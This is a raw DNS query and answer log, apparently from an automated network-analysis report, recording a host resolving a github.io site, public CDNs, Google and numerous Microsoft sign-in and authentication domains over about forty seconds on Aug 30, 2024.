Aug 30, 2024 00:19:49.137938023 CEST	192.168.2.4	1.1.1.1	0xe18e	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:49.137938023 CEST	192.168.2.4	1.1.1.1	0xb487	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Aug 30, 2024 00:19:50.482105017 CEST	192.168.2.4	1.1.1.1	0xa672	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:50.482316971 CEST	192.168.2.4	1.1.1.1	0x8660	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Aug 30, 2024 00:19:54.721364021 CEST	192.168.2.4	1.1.1.1	0xc5ae	Standard query (0)	logincdn.msftauth.net	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:54.721512079 CEST	192.168.2.4	1.1.1.1	0xf327	Standard query (0)	logincdn.msftauth.net	65	IN (0x0001)	false
Aug 30, 2024 00:19:54.722795963 CEST	192.168.2.4	1.1.1.1	0x401d	Standard query (0)	acctcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:54.722959042 CEST	192.168.2.4	1.1.1.1	0xb671	Standard query (0)	acctcdn.msftauth.net	65	IN (0x0001)	false
Aug 30, 2024 00:19:56.296639919 CEST	192.168.2.4	1.1.1.1	0xf6d8	Standard query (0)	logincdn.msftauth.net	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:56.296639919 CEST	192.168.2.4	1.1.1.1	0xd1ca	Standard query (0)	logincdn.msftauth.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Aug 30, 2024 00:19:15.619404078 CEST	1.1.1.1	192.168.2.4	0x9d0a	No error (0)	l9sa.github.io		185.199.109.153	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:15.619404078 CEST	1.1.1.1	192.168.2.4	0x9d0a	No error (0)	l9sa.github.io		185.199.110.153	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:15.619404078 CEST	1.1.1.1	192.168.2.4	0x9d0a	No error (0)	l9sa.github.io		185.199.108.153	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:15.619404078 CEST	1.1.1.1	192.168.2.4	0x9d0a	No error (0)	l9sa.github.io		185.199.111.153	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:16.101727962 CEST	1.1.1.1	192.168.2.4	0x2de8	No error (0)	l9sa.github.io		185.199.108.153	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:16.101727962 CEST	1.1.1.1	192.168.2.4	0x2de8	No error (0)	l9sa.github.io		185.199.111.153	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:16.101727962 CEST	1.1.1.1	192.168.2.4	0x2de8	No error (0)	l9sa.github.io		185.199.110.153	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:16.101727962 CEST	1.1.1.1	192.168.2.4	0x2de8	No error (0)	l9sa.github.io		185.199.109.153	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:16.852826118 CEST	1.1.1.1	192.168.2.4	0x9b43	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:16.852826118 CEST	1.1.1.1	192.168.2.4	0x9b43	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:16.853766918 CEST	1.1.1.1	192.168.2.4	0x1f9c	No error (0)	use.fontawesome.com	use.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:16.853970051 CEST	1.1.1.1	192.168.2.4	0x824d	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Aug 30, 2024 00:19:16.855688095 CEST	1.1.1.1	192.168.2.4	0xcdb4	No error (0)	use.fontawesome.com	use.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:16.866259098 CEST	1.1.1.1	192.168.2.4	0xb0df	No error (0)	maxcdn.icons8.com	1220595937.rsc.cdn77.org		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:16.866259098 CEST	1.1.1.1	192.168.2.4	0xb0df	No error (0)	1220595937.rsc.cdn77.org		207.211.211.27	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:16.866259098 CEST	1.1.1.1	192.168.2.4	0xb0df	No error (0)	1220595937.rsc.cdn77.org		169.150.255.181	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:16.866259098 CEST	1.1.1.1	192.168.2.4	0xb0df	No error (0)	1220595937.rsc.cdn77.org		195.181.175.40	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:16.866259098 CEST	1.1.1.1	192.168.2.4	0xb0df	No error (0)	1220595937.rsc.cdn77.org		195.181.170.19	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:16.866259098 CEST	1.1.1.1	192.168.2.4	0xb0df	No error (0)	1220595937.rsc.cdn77.org		37.19.194.81	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:16.866259098 CEST	1.1.1.1	192.168.2.4	0xb0df	No error (0)	1220595937.rsc.cdn77.org		212.102.56.179	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:16.866259098 CEST	1.1.1.1	192.168.2.4	0xb0df	No error (0)	1220595937.rsc.cdn77.org		169.150.255.183	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:16.868490934 CEST	1.1.1.1	192.168.2.4	0x81e8	No error (0)	maxcdn.icons8.com	1220595937.rsc.cdn77.org		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:18.306317091 CEST	1.1.1.1	192.168.2.4	0xc5e7	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:18.306317091 CEST	1.1.1.1	192.168.2.4	0xc5e7	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:18.308443069 CEST	1.1.1.1	192.168.2.4	0x820a	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Aug 30, 2024 00:19:18.438167095 CEST	1.1.1.1	192.168.2.4	0xb179	No error (0)	www.google.com		216.58.206.68	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:18.441131115 CEST	1.1.1.1	192.168.2.4	0xc50	No error (0)	www.google.com			65	IN (0x0001)	false
Aug 30, 2024 00:19:20.620729923 CEST	1.1.1.1	192.168.2.4	0x8925	No error (0)	l9sa.github.io		185.199.108.153	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:20.620729923 CEST	1.1.1.1	192.168.2.4	0x8925	No error (0)	l9sa.github.io		185.199.111.153	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:20.620729923 CEST	1.1.1.1	192.168.2.4	0x8925	No error (0)	l9sa.github.io		185.199.109.153	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:20.620729923 CEST	1.1.1.1	192.168.2.4	0x8925	No error (0)	l9sa.github.io		185.199.110.153	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:29.130065918 CEST	1.1.1.1	192.168.2.4	0x89bb	No error (0)	signup.live.com	account.msa.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:29.157309055 CEST	1.1.1.1	192.168.2.4	0x6edd	No error (0)	signup.live.com	account.msa.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:29.291651964 CEST	1.1.1.1	192.168.2.4	0x1b68	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:29.291651964 CEST	1.1.1.1	192.168.2.4	0x1b68	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:30.254401922 CEST	1.1.1.1	192.168.2.4	0x54b0	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:30.254401922 CEST	1.1.1.1	192.168.2.4	0x54b0	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:30.258570910 CEST	1.1.1.1	192.168.2.4	0xee21	No error (0)	logincdn.msftauth.net	scdn38c07.wpc.9da5e.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:30.258570910 CEST	1.1.1.1	192.168.2.4	0xee21	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:30.258570910 CEST	1.1.1.1	192.168.2.4	0xee21	No error (0)	sni1gl.wpc.alphacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:30.258965969 CEST	1.1.1.1	192.168.2.4	0xe71a	No error (0)	logincdn.msftauth.net	scdn38c07.wpc.9da5e.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:30.258965969 CEST	1.1.1.1	192.168.2.4	0xe71a	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:30.283729076 CEST	1.1.1.1	192.168.2.4	0xa844	No error (0)	shed.dual-low.s-part-0014.t-0009.t-msedge.net	s-part-0014.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:30.283729076 CEST	1.1.1.1	192.168.2.4	0xa844	No error (0)	s-part-0014.t-0009.t-msedge.net		13.107.246.42	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:30.284735918 CEST	1.1.1.1	192.168.2.4	0x87f7	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:30.284735918 CEST	1.1.1.1	192.168.2.4	0x87f7	No error (0)	sni1gl.wpc.alphacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:30.286128998 CEST	1.1.1.1	192.168.2.4	0xc769	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:31.366816044 CEST	1.1.1.1	192.168.2.4	0x8a42	No error (0)	shed.dual-low.s-part-0045.t-0009.t-msedge.net	s-part-0045.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:31.366816044 CEST	1.1.1.1	192.168.2.4	0x8a42	No error (0)	s-part-0045.t-0009.t-msedge.net		13.107.246.73	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:31.926350117 CEST	1.1.1.1	192.168.2.4	0x5003	No error (0)	signup.live.com	account.msa.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:31.960601091 CEST	1.1.1.1	192.168.2.4	0xda9d	No error (0)	signup.live.com	account.msa.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:32.134618044 CEST	1.1.1.1	192.168.2.4	0x9974	No error (0)	fpt.live.com	fpt.microsoft.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:32.135638952 CEST	1.1.1.1	192.168.2.4	0xa6cc	No error (0)	msft.hsprotect.net	msft.hsprotect.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:32.135651112 CEST	1.1.1.1	192.168.2.4	0x56da	No error (0)	msft.hsprotect.net	msft.hsprotect.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:32.153331995 CEST	1.1.1.1	192.168.2.4	0xdee6	No error (0)	fpt.live.com	fpt.microsoft.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:33.392714024 CEST	1.1.1.1	192.168.2.4	0x14a8	No error (0)	client.hsprotect.net	client.hsprotect.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:33.393132925 CEST	1.1.1.1	192.168.2.4	0xa398	No error (0)	client.hsprotect.net	client.hsprotect.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:34.613162041 CEST	1.1.1.1	192.168.2.4	0xa844	No error (0)	client.hsprotect.net	client.hsprotect.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:34.613511086 CEST	1.1.1.1	192.168.2.4	0x7c29	No error (0)	client.hsprotect.net	client.hsprotect.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:34.634464025 CEST	1.1.1.1	192.168.2.4	0xa1ea	No error (0)	stk.hsprotect.net		34.107.199.61	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:34.655556917 CEST	1.1.1.1	192.168.2.4	0xa611	No error (0)	collector-pxzc5j78di.hsprotect.net	inbound-weighted.protechts.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:34.655556917 CEST	1.1.1.1	192.168.2.4	0xa611	No error (0)	inbound-weighted.protechts.net		35.190.10.96	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:34.657192945 CEST	1.1.1.1	192.168.2.4	0x9d16	No error (0)	collector-pxzc5j78di.hsprotect.net	inbound-weighted.protechts.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:34.933564901 CEST	1.1.1.1	192.168.2.4	0x7dc2	No error (0)	fpt.live.com	fpt.microsoft.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:34.969153881 CEST	1.1.1.1	192.168.2.4	0x24de	No error (0)	fpt.live.com	fpt.microsoft.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:35.042345047 CEST	1.1.1.1	192.168.2.4	0xfff6	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:35.042345047 CEST	1.1.1.1	192.168.2.4	0xfff6	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:35.411082983 CEST	1.1.1.1	192.168.2.4	0x6480	No error (0)	stk.hsprotect.net		34.107.199.61	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:35.648808956 CEST	1.1.1.1	192.168.2.4	0x6d26	No error (0)	collector-pxzc5j78di.hsprotect.net	inbound-weighted.protechts.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:35.648808956 CEST	1.1.1.1	192.168.2.4	0x6d26	No error (0)	inbound-weighted.protechts.net		35.190.10.96	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:35.649044037 CEST	1.1.1.1	192.168.2.4	0x91b4	No error (0)	collector-pxzc5j78di.hsprotect.net	inbound-weighted.protechts.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:35.843617916 CEST	1.1.1.1	192.168.2.4	0x6f21	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:35.843617916 CEST	1.1.1.1	192.168.2.4	0x6f21	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:40.373764992 CEST	1.1.1.1	192.168.2.4	0xa7d5	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:40.378787041 CEST	1.1.1.1	192.168.2.4	0x6595	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:40.378787041 CEST	1.1.1.1	192.168.2.4	0x6595	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:40.378787041 CEST	1.1.1.1	192.168.2.4	0x6595	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:40.378787041 CEST	1.1.1.1	192.168.2.4	0x6595	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:40.378798962 CEST	1.1.1.1	192.168.2.4	0x262f	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:40.378798962 CEST	1.1.1.1	192.168.2.4	0x262f	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:40.381532907 CEST	1.1.1.1	192.168.2.4	0x7675	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:40.381532907 CEST	1.1.1.1	192.168.2.4	0x7675	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:40.389600039 CEST	1.1.1.1	192.168.2.4	0x77af	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:40.389600039 CEST	1.1.1.1	192.168.2.4	0x77af	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:40.389600039 CEST	1.1.1.1	192.168.2.4	0x77af	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:40.389738083 CEST	1.1.1.1	192.168.2.4	0x6adc	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:40.389738083 CEST	1.1.1.1	192.168.2.4	0x6adc	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:40.394490957 CEST	1.1.1.1	192.168.2.4	0xe1cc	No error (0)	mem.gfx.ms	amcdnmsftuswe.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:40.394490957 CEST	1.1.1.1	192.168.2.4	0xe1cc	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:40.394490957 CEST	1.1.1.1	192.168.2.4	0xe1cc	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:40.395211935 CEST	1.1.1.1	192.168.2.4	0x1a34	No error (0)	mem.gfx.ms	amcdnmsftuswe.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:40.400386095 CEST	1.1.1.1	192.168.2.4	0x1b89	No error (0)	c.s-microsoft.com	c-s.cms.ms.akadns.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:40.401555061 CEST	1.1.1.1	192.168.2.4	0xd369	No error (0)	support.content.office.net	support.content.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:40.431291103 CEST	1.1.1.1	192.168.2.4	0x92ff	No error (0)	support.content.office.net	support.content.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:44.281269073 CEST	1.1.1.1	192.168.2.4	0x4b07	No error (0)	mem.gfx.ms	amcdnmsftuswe.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:44.281269073 CEST	1.1.1.1	192.168.2.4	0x4b07	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:44.281269073 CEST	1.1.1.1	192.168.2.4	0x4b07	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:44.283857107 CEST	1.1.1.1	192.168.2.4	0x902d	No error (0)	mem.gfx.ms	amcdnmsftuswe.azureedge.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:44.805355072 CEST	1.1.1.1	192.168.2.4	0x1fda	No error (0)	support.content.office.net	support.content.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:44.806065083 CEST	1.1.1.1	192.168.2.4	0x7247	No error (0)	support.content.office.net	support.content.office.net.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:45.590169907 CEST	1.1.1.1	192.168.2.4	0xbdc9	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:45.591301918 CEST	1.1.1.1	192.168.2.4	0x1d9e	No error (0)	login.microsoftonline.com	login.mso.msidentity.com		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:46.949985981 CEST	1.1.1.1	192.168.2.4	0xa0d6	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:46.949985981 CEST	1.1.1.1	192.168.2.4	0xa0d6	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:47.917351961 CEST	1.1.1.1	192.168.2.4	0x6660	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:47.917351961 CEST	1.1.1.1	192.168.2.4	0x6660	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:47.917351961 CEST	1.1.1.1	192.168.2.4	0x6660	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:47.917351961 CEST	1.1.1.1	192.168.2.4	0x6660	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:47.918548107 CEST	1.1.1.1	192.168.2.4	0xe24e	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:47.918548107 CEST	1.1.1.1	192.168.2.4	0xe24e	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:47.919770956 CEST	1.1.1.1	192.168.2.4	0x36fd	No error (0)	shed.dual-low.s-part-0016.t-0009.t-msedge.net	s-part-0016.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:47.919770956 CEST	1.1.1.1	192.168.2.4	0x36fd	No error (0)	s-part-0016.t-0009.t-msedge.net		13.107.246.44	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:48.131238937 CEST	1.1.1.1	192.168.2.4	0xac43	No error (0)	fp2e7a.wpc.2be4.phicdn.net	fp2e7a.wpc.phicdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:48.131238937 CEST	1.1.1.1	192.168.2.4	0xac43	No error (0)	fp2e7a.wpc.phicdn.net		192.229.221.95	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:49.146985054 CEST	1.1.1.1	192.168.2.4	0xb487	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:49.146985054 CEST	1.1.1.1	192.168.2.4	0xb487	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:49.147145987 CEST	1.1.1.1	192.168.2.4	0xe18e	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:49.147145987 CEST	1.1.1.1	192.168.2.4	0xe18e	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:49.147145987 CEST	1.1.1.1	192.168.2.4	0xe18e	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:50.489201069 CEST	1.1.1.1	192.168.2.4	0xa672	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:50.489201069 CEST	1.1.1.1	192.168.2.4	0xa672	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:50.489201069 CEST	1.1.1.1	192.168.2.4	0xa672	No error (0)	sni1gl.wpc.omegacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:50.490016937 CEST	1.1.1.1	192.168.2.4	0x8660	No error (0)	aadcdn.msftauth.net	scdn38e6f.wpc.9be8f.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:50.490016937 CEST	1.1.1.1	192.168.2.4	0x8660	No error (0)	scdn38e6f.wpc.9be8f.omegacdn.net	sni1gl.wpc.omegacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:54.728647947 CEST	1.1.1.1	192.168.2.4	0xc5ae	No error (0)	logincdn.msftauth.net	scdn38c07.wpc.9da5e.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:54.728647947 CEST	1.1.1.1	192.168.2.4	0xc5ae	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:54.728647947 CEST	1.1.1.1	192.168.2.4	0xc5ae	No error (0)	sni1gl.wpc.alphacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:54.729259968 CEST	1.1.1.1	192.168.2.4	0xbfa7	No error (0)	shed.dual-low.s-part-0014.t-0009.t-msedge.net	s-part-0014.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:54.729259968 CEST	1.1.1.1	192.168.2.4	0xbfa7	No error (0)	s-part-0014.t-0009.t-msedge.net		13.107.246.42	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:54.729562998 CEST	1.1.1.1	192.168.2.4	0x401d	No error (0)	acctcdn.msftauth.net	acctcdn.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:54.729562998 CEST	1.1.1.1	192.168.2.4	0x401d	No error (0)	shed.dual-low.s-part-0029.t-0009.t-msedge.net	s-part-0029.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:54.729562998 CEST	1.1.1.1	192.168.2.4	0x401d	No error (0)	s-part-0029.t-0009.t-msedge.net		13.107.246.57	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:54.747123003 CEST	1.1.1.1	192.168.2.4	0xfdef	No error (0)	scdn38c07.wpc.9da5e.alphacdn.net	sni1gl.wpc.alphacdn.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:54.747123003 CEST	1.1.1.1	192.168.2.4	0xfdef	No error (0)	sni1gl.wpc.alphacdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Aug 30, 2024 00:19:54.747351885 CEST	1.1.1.1	192.168.2.4	0x63db	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Aug 30, 2024 00:19:54.747351885 CEST	1.1.1.1	192.168.2.4	0x63db	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
